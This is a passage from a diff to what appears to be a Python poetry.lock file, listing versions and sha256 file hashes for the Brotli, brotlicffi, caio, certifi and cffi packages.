"sha256:88c63a1b55f352b02c6ffd24b15ead9fc0e8bf781dbe070213039324922a2eea"}, + {file = "Brotli-1.0.9-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:503fa6af7da9f4b5780bb7e4cbe0c639b010f12be85d02c99452825dd0feef3f"}, + {file = "Brotli-1.0.9-cp36-cp36m-manylinux1_i686.whl", hash = "sha256:40d15c79f42e0a2c72892bf407979febd9cf91f36f495ffb333d1d04cebb34e4"}, + {file = "Brotli-1.0.9-cp36-cp36m-manylinux1_x86_64.whl", hash = "sha256:93130612b837103e15ac3f9cbacb4613f9e348b58b3aad53721d92e57f96d46a"}, + {file = "Brotli-1.0.9-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:87fdccbb6bb589095f413b1e05734ba492c962b4a45a13ff3408fa44ffe6479b"}, + {file = "Brotli-1.0.9-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:6d847b14f7ea89f6ad3c9e3901d1bc4835f6b390a9c71df999b0162d9bb1e20f"}, + {file = "Brotli-1.0.9-cp36-cp36m-musllinux_1_1_i686.whl", hash = "sha256:495ba7e49c2db22b046a53b469bbecea802efce200dffb69b93dd47397edc9b6"}, + {file = "Brotli-1.0.9-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:4688c1e42968ba52e57d8670ad2306fe92e0169c6f3af0089be75bbac0c64a3b"}, + {file = "Brotli-1.0.9-cp36-cp36m-win32.whl", hash = "sha256:61a7ee1f13ab913897dac7da44a73c6d44d48a4adff42a5701e3239791c96e14"}, + {file = "Brotli-1.0.9-cp36-cp36m-win_amd64.whl", hash = "sha256:1c48472a6ba3b113452355b9af0a60da5c2ae60477f8feda8346f8fd48e3e87c"}, + {file = "Brotli-1.0.9-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:3b78a24b5fd13c03ee2b7b86290ed20efdc95da75a3557cc06811764d5ad1126"}, + {file = "Brotli-1.0.9-cp37-cp37m-manylinux1_i686.whl", hash = "sha256:9d12cf2851759b8de8ca5fde36a59c08210a97ffca0eb94c532ce7b17c6a3d1d"}, + {file = "Brotli-1.0.9-cp37-cp37m-manylinux1_x86_64.whl", hash = "sha256:6c772d6c0a79ac0f414a9f8947cc407e119b8598de7621f39cacadae3cf57d12"}, + {file = "Brotli-1.0.9-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:29d1d350178e5225397e28ea1b7aca3648fcbab546d20e7475805437bfb0a130"}, + {file = "Brotli-1.0.9-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:7bbff90b63328013e1e8cb50650ae0b9bac54ffb4be6104378490193cd60f85a"}, + {file = "Brotli-1.0.9-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:ec1947eabbaf8e0531e8e899fc1d9876c179fc518989461f5d24e2223395a9e3"}, + {file = "Brotli-1.0.9-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:12effe280b8ebfd389022aa65114e30407540ccb89b177d3fbc9a4f177c4bd5d"}, + {file = "Brotli-1.0.9-cp37-cp37m-win32.whl", hash = "sha256:f909bbbc433048b499cb9db9e713b5d8d949e8c109a2a548502fb9aa8630f0b1"}, + {file = "Brotli-1.0.9-cp37-cp37m-win_amd64.whl", hash = "sha256:97f715cf371b16ac88b8c19da00029804e20e25f30d80203417255d239f228b5"}, + {file = "Brotli-1.0.9-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:e16eb9541f3dd1a3e92b89005e37b1257b157b7256df0e36bd7b33b50be73bcb"}, + {file = "Brotli-1.0.9-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:160c78292e98d21e73a4cc7f76a234390e516afcd982fa17e1422f7c6a9ce9c8"}, + {file = "Brotli-1.0.9-cp38-cp38-manylinux1_i686.whl", hash = "sha256:b663f1e02de5d0573610756398e44c130add0eb9a3fc912a09665332942a2efb"}, + {file = "Brotli-1.0.9-cp38-cp38-manylinux1_x86_64.whl", hash = "sha256:5b6ef7d9f9c38292df3690fe3e302b5b530999fa90014853dcd0d6902fb59f26"}, + {file = "Brotli-1.0.9-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8a674ac10e0a87b683f4fa2b6fa41090edfd686a6524bd8dedbd6138b309175c"}, + {file = "Brotli-1.0.9-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:e2d9e1cbc1b25e22000328702b014227737756f4b5bf5c485ac1d8091ada078b"}, + {file = "Brotli-1.0.9-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:b336c5e9cf03c7be40c47b5fd694c43c9f1358a80ba384a21969e0b4e66a9b17"}, + {file = "Brotli-1.0.9-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:85f7912459c67eaab2fb854ed2bc1cc25772b300545fe7ed2dc03954da638649"}, + {file = "Brotli-1.0.9-cp38-cp38-win32.whl", hash = "sha256:35a3edbe18e876e596553c4007a087f8bcfd538f19bc116917b3c7522fca0429"}, + {file = "Brotli-1.0.9-cp38-cp38-win_amd64.whl", hash = "sha256:269a5743a393c65db46a7bb982644c67ecba4b8d91b392403ad8a861ba6f495f"}, + {file = "Brotli-1.0.9-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:2aad0e0baa04517741c9bb5b07586c642302e5fb3e75319cb62087bd0995ab19"}, + {file = "Brotli-1.0.9-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:5cb1e18167792d7d21e21365d7650b72d5081ed476123ff7b8cac7f45189c0c7"}, + {file = "Brotli-1.0.9-cp39-cp39-manylinux1_i686.whl", hash = "sha256:16d528a45c2e1909c2798f27f7bf0a3feec1dc9e50948e738b961618e38b6a7b"}, + {file = "Brotli-1.0.9-cp39-cp39-manylinux1_x86_64.whl", hash = "sha256:56d027eace784738457437df7331965473f2c0da2c70e1a1f6fdbae5402e0389"}, + {file = "Brotli-1.0.9-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9bf919756d25e4114ace16a8ce91eb340eb57a08e2c6950c3cebcbe3dff2a5e7"}, + {file = "Brotli-1.0.9-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:e4c4e92c14a57c9bd4cb4be678c25369bf7a092d55fd0866f759e425b9660806"}, + {file = "Brotli-1.0.9-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:e48f4234f2469ed012a98f4b7874e7f7e173c167bed4934912a29e03167cf6b1"}, + {file = "Brotli-1.0.9-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:9ed4c92a0665002ff8ea852353aeb60d9141eb04109e88928026d3c8a9e5433c"}, + {file = "Brotli-1.0.9-cp39-cp39-win32.whl", hash = "sha256:cfc391f4429ee0a9370aa93d812a52e1fee0f37a81861f4fdd1f4fb28e8547c3"}, + {file = "Brotli-1.0.9-cp39-cp39-win_amd64.whl", hash = "sha256:854c33dad5ba0fbd6ab69185fec8dab89e13cda6b7d191ba111987df74f38761"}, + {file = "Brotli-1.0.9-pp37-pypy37_pp73-macosx_10_9_x86_64.whl", hash = "sha256:9749a124280a0ada4187a6cfd1ffd35c350fb3af79c706589d98e088c5044267"}, + {file = "Brotli-1.0.9-pp37-pypy37_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:73fd30d4ce0ea48010564ccee1a26bfe39323fde05cb34b5863455629db61dc7"}, + {file = "Brotli-1.0.9-pp37-pypy37_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:02177603aaca36e1fd21b091cb742bb3b305a569e2402f1ca38af471777fb019"}, + {file = "Brotli-1.0.9-pp37-pypy37_pp73-win_amd64.whl", hash = "sha256:76ffebb907bec09ff511bb3acc077695e2c32bc2142819491579a695f77ffd4d"}, + {file = "Brotli-1.0.9-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:b43775532a5904bc938f9c15b77c613cb6ad6fb30990f3b0afaea82797a402d8"}, + {file = "Brotli-1.0.9-pp38-pypy38_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:5bf37a08493232fbb0f8229f1824b366c2fc1d02d64e7e918af40acd15f3e337"}, + {file = "Brotli-1.0.9-pp38-pypy38_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:330e3f10cd01da535c70d09c4283ba2df5fb78e915bea0a28becad6e2ac010be"}, + {file = "Brotli-1.0.9-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:e1abbeef02962596548382e393f56e4c94acd286bd0c5afba756cffc33670e8a"}, + {file = "Brotli-1.0.9-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:3148362937217b7072cf80a2dcc007f09bb5ecb96dae4617316638194113d5be"}, + {file = "Brotli-1.0.9-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:336b40348269f9b91268378de5ff44dc6fbaa2268194f85177b53463d313842a"}, + {file = "Brotli-1.0.9-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3b8b09a16a1950b9ef495a0f8b9d0a87599a9d1f179e2d4ac014b2ec831f87e7"}, + {file = "Brotli-1.0.9-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:c8e521a0ce7cf690ca84b8cc2272ddaf9d8a50294fd086da67e517439614c755"}, + {file = "Brotli-1.0.9.zip", hash = "sha256:4d1b810aa0ed773f81dceda2cc7b403d01057458730e309856356d4ef4188438"}, +] + +[[package]] +name = "brotlicffi" +version = "1.0.9.2" +description = "Python CFFI bindings to the Brotli library" +optional = false +python-versions = "*" +files = [ + {file = "brotlicffi-1.0.9.2-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:408ec4359f9763280d5c4e0ad29c51d1240b25fdd18719067e972163b4125b98"}, + {file = "brotlicffi-1.0.9.2-cp27-cp27m-manylinux1_i686.whl", hash = "sha256:2e4629f7690ded66c8818715c6d4dd6a7ff6a4f10fad6186fe99850f781ce210"}, + {file = "brotlicffi-1.0.9.2-cp27-cp27m-manylinux1_x86_64.whl", hash = "sha256:137c4635edcdf593de5ce9d0daa596bf499591b16b8fca5fd72a490deb54b2ee"}, + {file = "brotlicffi-1.0.9.2-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:af8a1b7bcfccf9c41a3c8654994d6a81821fdfe4caddcfe5045bfda936546ca3"}, + {file = "brotlicffi-1.0.9.2-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:9078432af4785f35ab3840587eed7fb131e3fc77eb2a739282b649b343c584dd"}, + {file = "brotlicffi-1.0.9.2-cp27-cp27mu-manylinux1_i686.whl", hash = "sha256:7bb913d5bf3b4ce2ec59872711dc9faaff5f320c3c3827cada2d8a7b793a7753"}, + {file = "brotlicffi-1.0.9.2-cp27-cp27mu-manylinux1_x86_64.whl", hash = "sha256:16a0c9392a1059e2e62839fbd037d2e7e03c8ae5da65e9746f582464f7fab1bb"}, + {file = "brotlicffi-1.0.9.2-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:94d2810efc5723f1447b332223b197466190518a3eeca93b9f357efb5b22c6dc"}, + {file = "brotlicffi-1.0.9.2-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:9e70f3e20f317d70912b10dbec48b29114d3dbd0e9d88475cb328e6c086f0546"}, + {file = "brotlicffi-1.0.9.2-cp35-abi3-macosx_10_9_x86_64.whl", hash = "sha256:586f0ea3c2eed455d5f2330b9ab4a591514c8de0ee53d445645efcfbf053c69f"}, + {file = "brotlicffi-1.0.9.2-cp35-abi3-manylinux1_i686.whl", hash = "sha256:4454c3baedc277fd6e65f983e3eb8e77f4bc15060f69370a0201746e2edeca81"}, + {file = "brotlicffi-1.0.9.2-cp35-abi3-manylinux1_x86_64.whl", hash = "sha256:52c1c12dad6eb1d44213a0a76acf5f18f64653bd801300bef5e2f983405bdde5"}, + {file = "brotlicffi-1.0.9.2-cp35-abi3-manylinux2010_i686.whl", hash = "sha256:21cd400d24b344c218d8e32b394849e31b7c15784667575dbda9f65c46a64b0a"}, + {file = "brotlicffi-1.0.9.2-cp35-abi3-manylinux2010_x86_64.whl", hash = "sha256:71061f8bc86335b652e442260c4367b782a92c6e295cf5a10eff84c7d19d8cf5"}, + {file = "brotlicffi-1.0.9.2-cp35-abi3-manylinux2014_aarch64.whl", hash = "sha256:15e0db52c56056be6310fc116b3d7c6f34185594e261f23790b2fb6489998363"}, + {file = "brotlicffi-1.0.9.2-cp35-abi3-win32.whl", hash = "sha256:551305703d12a2dd1ae43d3dde35dee20b1cb49b5796279d4d34e2c6aec6be4d"}, + {file = "brotlicffi-1.0.9.2-cp35-abi3-win_amd64.whl", hash = "sha256:2be4fb8a7cb482f226af686cd06d2a2cab164ccdf99e460f8e3a5ec9a5337da2"}, + {file = "brotlicffi-1.0.9.2-pp27-pypy_73-macosx_10_9_x86_64.whl", hash = "sha256:8e7221d8a084d32d15c7b58e0ce0573972375c5038423dbe83f217cfe512e680"}, + {file = "brotlicffi-1.0.9.2-pp27-pypy_73-manylinux1_x86_64.whl", hash = "sha256:75a46bc5ed2753e1648cc211dcb2c1ac66116038766822dc104023f67ff4dfd8"}, + {file = "brotlicffi-1.0.9.2-pp27-pypy_73-manylinux2010_x86_64.whl", hash = "sha256:1e27c43ef72a278f9739b12b2df80ee72048cd4cbe498f8bbe08aaaa67a5d5c8"}, + {file = "brotlicffi-1.0.9.2-pp27-pypy_73-win32.whl", hash = "sha256:feb942814285bdc5e97efc77a04e48283c17dfab9ea082d79c0a7b9e53ef1eab"}, + {file = "brotlicffi-1.0.9.2-pp36-pypy36_pp73-macosx_10_9_x86_64.whl", hash = "sha256:a6208d82c3172eeeb3be83ed4efd5831552c7cd47576468e50fcf0fb23fcf97f"}, + {file = "brotlicffi-1.0.9.2-pp36-pypy36_pp73-manylinux1_x86_64.whl", hash = "sha256:408c810c599786fb806556ff17e844a903884e6370ca400bcec7fa286149f39c"}, + {file = "brotlicffi-1.0.9.2-pp36-pypy36_pp73-manylinux2010_x86_64.whl", hash = "sha256:a73099858ee343e8801710a08be8d194f47715ff21e98d92a19ac461058f52d1"}, + {file = "brotlicffi-1.0.9.2-pp36-pypy36_pp73-win32.whl", hash = "sha256:916b790f967a18a595e61f218c252f83718ac91f24157d622cf0fa710cd26ab7"}, + {file = "brotlicffi-1.0.9.2-pp37-pypy37_pp73-macosx_10_9_x86_64.whl", hash = "sha256:ba4a00263af40e875ec3d6c7f623cbf8c795b55705da18c64ec36b6bf0848bc5"}, + {file = "brotlicffi-1.0.9.2-pp37-pypy37_pp73-manylinux1_x86_64.whl", hash = "sha256:df78aa47741122b0d5463f1208b7bb18bc9706dee5152d9f56e0ead4865015cd"}, + {file = "brotlicffi-1.0.9.2-pp37-pypy37_pp73-manylinux2010_x86_64.whl", hash = "sha256:9030cd5099252d16bfa4e22659c84a89c102e94f8e81d30764788b72e2d7cfb7"}, + {file = "brotlicffi-1.0.9.2-pp37-pypy37_pp73-win32.whl", hash = "sha256:7e72978f4090a161885b114f87b784f538dcb77dafc6602592c1cf39ae8d243d"}, + {file = "brotlicffi-1.0.9.2.tar.gz", hash = "sha256:0c248a68129d8fc6a217767406c731e498c3e19a7be05ea0a90c3c86637b7d96"}, +] + +[package.dependencies] +cffi = ">=1.0.0" + +[[package]] +name = "caio" +version = "0.9.12" +description = "Asynchronous file IO for Linux MacOS or Windows." +optional = false +python-versions = ">=3.7, <4" +files = [ + {file = "caio-0.9.12-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:df395e7e1c2025b3f32dbeff20a8b6491959fac8fbd5a9c2d452bf1f5c0ca2bf"}, + {file = "caio-0.9.12-cp310-cp310-macosx_11_0_x86_64.whl", hash = "sha256:acd31b7828c6683bc46e467a32359f08c686d4c25a7e645c029a07c36685fea7"}, + {file = "caio-0.9.12-cp310-cp310-manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c0b7ffb561ca5c24e7f080aaa73ebb143ae659bd69645a748b332762c389349f"}, + {file = "caio-0.9.12-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6285d772ae3a55e758b1bd3bc34f095757e4af45dcc30a183becf9bbdead8ced"}, + {file = "caio-0.9.12-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:18df0caecfaa90ab9ac84ff71975fcf2342554b6f65ef69049337204b8b5af42"}, + {file = "caio-0.9.12-cp311-cp311-manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7e569b83e9b41d12e094190d0e1a546610829a65609f429a1845e3250d4c5804"}, + {file = "caio-0.9.12-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7833f81f58e76a3585ff59813e63fa278731c8d26fefe52ae12e783d38c8faea"}, + {file = "caio-0.9.12-cp37-cp37m-macosx_10_15_x86_64.whl", hash = "sha256:aa1dab77aca0b2672b9a364f14a03e764c5d811c0ae1395f661a2b8f6723f958"}, + {file = "caio-0.9.12-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:f366c595eda130a184f372d458d647b0ac879a46e872757648d4e29b6cea12ad"}, + {file = "caio-0.9.12-cp37-cp37m-manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2759fe1957d0effb3bc38b3508b20fa37610bff9005f3926f570e6c06e901567"}, + {file = "caio-0.9.12-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9e65060717e27c702cd76a90be33250cae46be32a3009781ce382c8675fa7551"}, + {file = "caio-0.9.12-cp38-cp38-macosx_10_15_x86_64.whl", hash = "sha256:a8204c6a7ea3c96057abba3da1690190b3cae0c3f03d81e9b5e3c99978b5bb6e"}, + {file = "caio-0.9.12-cp38-cp38-macosx_11_0_universal2.whl", hash = "sha256:820bb3ef23ce0d4096f822a8fea97ff2c239dd0351fa588801d2de627df9ab98"}, + {file = "caio-0.9.12-cp38-cp38-manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:aa9a27973a03c777934decd577be577a61a188bee72272b3dc37a7cbc5eedf91"}, + {file = "caio-0.9.12-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3d6b424644ac37ce84f9dd99757d29e7cff01018d3b31f8ec0a38f2d5216165c"}, + {file = "caio-0.9.12-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:15192a28e054cd591489af82f4b1093f15338eb201a2399a337461ff0bbd9fc9"}, + {file = "caio-0.9.12-cp39-cp39-macosx_11_0_x86_64.whl", hash = "sha256:55317d2c90479a58108cfbd6816b85e584e61c48b42269c55f69cf4443857068"}, + {file = "caio-0.9.12-cp39-cp39-manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b18318d04cad7ef985fc2fb86d43f866ba34c1ee3445385f2370d6f843c05c69"}, + {file = "caio-0.9.12-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:73c20d8fc7dfb140b7d57e69e6f17e1637d2ac4a9ebe0f5f8c94b56f87c5c087"}, + {file = "caio-0.9.12-py3-none-any.whl", hash = "sha256:b81b3271478e91f18e7ac1f3e4f914ba0924364857ba8e27f03b9d0aea915ca8"}, + {file = "caio-0.9.12.tar.gz", hash = "sha256:d2be553738dd793f8a01a60316f2c5284fbf152219241c0c67ca05f650a37a37"}, +] + +[package.extras] +develop = ["aiomisc-pytest", "pytest", "pytest-cov"] + +[[package]] +name = "certifi" +version = "2023.5.7" +description = "Python package for providing Mozilla's CA Bundle." +optional = false +python-versions = ">=3.6" +files = [ + {file = "certifi-2023.5.7-py3-none-any.whl", hash = "sha256:c6c2e98f5c7869efca1f8916fed228dd91539f9f1b444c314c06eef02980c716"}, + {file = "certifi-2023.5.7.tar.gz", hash = "sha256:0f0d56dc5a6ad56fd4ba36484d6cc34451e1c6548c61daad8c320169f91eddc7"}, +] + +[[package]] +name = "cffi" +version = "1.15.1" +description = "Foreign Function Interface for Python calling C code." +optional = false +python-versions = "*" +files = [ + {file = "cffi-1.15.1-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:a66d3508133af6e8548451b25058d5812812ec3798c886bf38ed24a98216fab2"}, + {file = "cffi-1.15.1-cp27-cp27m-manylinux1_i686.whl", hash = "sha256:470c103ae716238bbe698d67ad020e1db9d9dba34fa5a899b5e21577e6d52ed2"}, + {file = "cffi-1.15.1-cp27-cp27m-manylinux1_x86_64.whl", hash = "sha256:9ad5db27f9cabae298d151c85cf2bad1d359a1b9c686a275df03385758e2f914"}, + {file = "cffi-1.15.1-cp27-cp27m-win32.whl", hash = "sha256:b3bbeb01c2b273cca1e1e0c5df57f12dce9a4dd331b4fa1635b8bec26350bde3"}, + {file = "cffi-1.15.1-cp27-cp27m-win_amd64.whl", hash = "sha256:e00b098126fd45523dd056d2efba6c5a63b71ffe9f2bbe1a4fe1716e1d0c331e"}, + {file = "cffi-1.15.1-cp27-cp27mu-manylinux1_i686.whl", hash = "sha256:d61f4695e6c866a23a21acab0509af1cdfd2c013cf256bbf5b6b5e2695827162"}, + {file = "cffi-1.15.1-cp27-cp27mu-manylinux1_x86_64.whl", hash = "sha256:ed9cb427ba5504c1dc15ede7d516b84757c3e3d7868ccc85121d9310d27eed0b"}, + {file = "cffi-1.15.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:39d39875251ca8f612b6f33e6b1195af86d1b3e60086068be9cc053aa4376e21"}, + {file = "cffi-1.15.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:285d29981935eb726a4399badae8f0ffdff4f5050eaa6d0cfc3f64b857b77185"}, + {file = "cffi-1.15.1-cp310-cp310-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3eb6971dcff08619f8d91607cfc726518b6fa2a9eba42856be181c6d0d9515fd"}, + {file = "cffi-1.15.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:21157295583fe8943475029ed5abdcf71eb3911894724e360acff1d61c1d54bc"}, + {file = "cffi-1.15.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5635bd9cb9731e6d4a1132a498dd34f764034a8ce60cef4f5319c0541159392f"}, + {file = "cffi-1.15.1-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2012c72d854c2d03e45d06ae57f40d78e5770d252f195b93f581acf3ba44496e"}, + {file = "cffi-1.15.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dd86c085fae2efd48ac91dd7ccffcfc0571387fe1193d33b6394db7ef31fe2a4"}, + {file = "cffi-1.15.1-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:fa6693661a4c91757f4412306191b6dc88c1703f780c8234035eac011922bc01"}, + {file = "cffi-1.15.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:59c0b02d0a6c384d453fece7566d1c7e6b7bae4fc5874ef2ef46d56776d61c9e"}, + {file = "cffi-1.15.1-cp310-cp310-win32.whl", hash = "sha256:cba9d6b9a7d64d4bd46167096fc9d2f835e25d7e4c121fb2ddfc6528fb0413b2"}, + {file = "cffi-1.15.1-cp310-cp310-win_amd64.whl", hash = "sha256:ce4bcc037df4fc5e3d184794f27bdaab018943698f4ca31630bc7f84a7b69c6d"}, + {file = "cffi-1.15.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:3d08afd128ddaa624a48cf2b859afef385b720bb4b43df214f85616922e6a5ac"}, + {file = "cffi-1.15.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:3799aecf2e17cf585d977b780ce79ff0dc9b78d799fc694221ce814c2c19db83"}, + {file = "cffi-1.15.1-cp311-cp311-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a591fe9e525846e4d154205572a029f653ada1a78b93697f3b5a8f1f2bc055b9"}, + {file = "cffi-1.15.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3548db281cd7d2561c9ad9984681c95f7b0e38881201e157833a2342c30d5e8c"}, + {file = "cffi-1.15.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:91fc98adde3d7881af9b59ed0294046f3806221863722ba7d8d120c575314325"}, + {file = "cffi-1.15.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:94411f22c3985acaec6f83c6df553f2dbe17b698cc7f8ae751ff2237d96b9e3c"}, + {file = "cffi-1.15.1-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:03425bdae262c76aad70202debd780501fabeaca237cdfddc008987c0e0f59ef"}, + {file = "cffi-1.15.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:cc4d65aeeaa04136a12677d3dd0b1c0c94dc43abac5860ab33cceb42b801c1e8"}, + {file = "cffi-1.15.1-cp311-cp311-win32.whl", hash = "sha256:a0f100c8912c114ff53e1202d0078b425bee3649ae34d7b070e9697f93c5d52d"}, + {file = "cffi-1.15.1-cp311-cp311-win_amd64.whl", hash = "sha256:04ed324bda3cda42b9b695d51bb7d54b680b9719cfab04227cdd1e04e5de3104"}, + {file = "cffi-1.15.1-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:50a74364d85fd319352182ef59c5c790484a336f6db772c1a9231f1c3ed0cbd7"}, + {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e263d77ee3dd201c3a142934a086a4450861778baaeeb45db4591ef65550b0a6"}, + {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:cec7d9412a9102bdc577382c3929b337320c4c4c4849f2c5cdd14d7368c5562d"}, + {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:4289fc34b2f5316fbb762d75362931e351941fa95fa18789191b33fc4cf9504a"}, + {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:173379135477dc8cac4bc58f45db08ab45d228b3363adb7af79436135d028405"}, + {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:6975a3fac6bc83c4a65c9f9fcab9e47019a11d3d2cf7f3c0d03431bf145a941e"}, + {file = "cffi-1.15.1-cp36-cp36m-win32.whl", hash = "sha256:2470043b93ff09bf8fb1d46d1cb756ce6132c54826661a32d4e4d132e1977adf"}, + {file = "cffi-1.15.1-cp36-cp36m-win_amd64.whl", hash = "sha256:30d78fbc8ebf9c92c9b7823ee18eb92f2e6ef79b45ac84db507f52fbe3ec4497"}, + {file = "cffi-1.15.1-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:198caafb44239b60e252492445da556afafc7d1e3ab7a1fb3f0584ef6d742375"}, + {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5ef34d190326c3b1f822a5b7a45f6c4535e2f47ed06fec77d3d799c450b2651e"}, + {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8102eaf27e1e448db915d08afa8b41d6c7ca7a04b7d73af6514df10a3e74bd82"}, + {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5df2768244d19ab7f60546d0c7c63ce1581f7af8b5de3eb3004b9b6fc8a9f84b"}, + {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a8c4917bd7ad33e8eb21e9a5bbba979b49d9a97acb3a803092cbc1133e20343c"}, + {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0e2642fe3142e4cc4af0799748233ad6da94c62a8bec3a6648bf8ee68b1c7426"}, + {file = "cffi-1.15.1-cp37-cp37m-win32.whl", hash = "sha256:e229a521186c75c8ad9490854fd8bbdd9a0c9aa3a524326b55be83b54d4e0ad9"}, + {file = "cffi-1.15.1-cp37-cp37m-win_amd64.whl", hash = "sha256:a0b71b1b8fbf2b96e41c4d990244165e2c9be83d54962a9a1d118fd8657d2045"}, + {file = "cffi-1.15.1-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:320dab6e7cb2eacdf0e658569d2575c4dad258c0fcc794f46215e1e39f90f2c3"}, + {file = "cffi-1.15.1-cp38-cp38-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1e74c6b51a9ed6589199c787bf5f9875612ca4a8a0785fb2d4a84429badaf22a"}, + {file = "cffi-1.15.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = 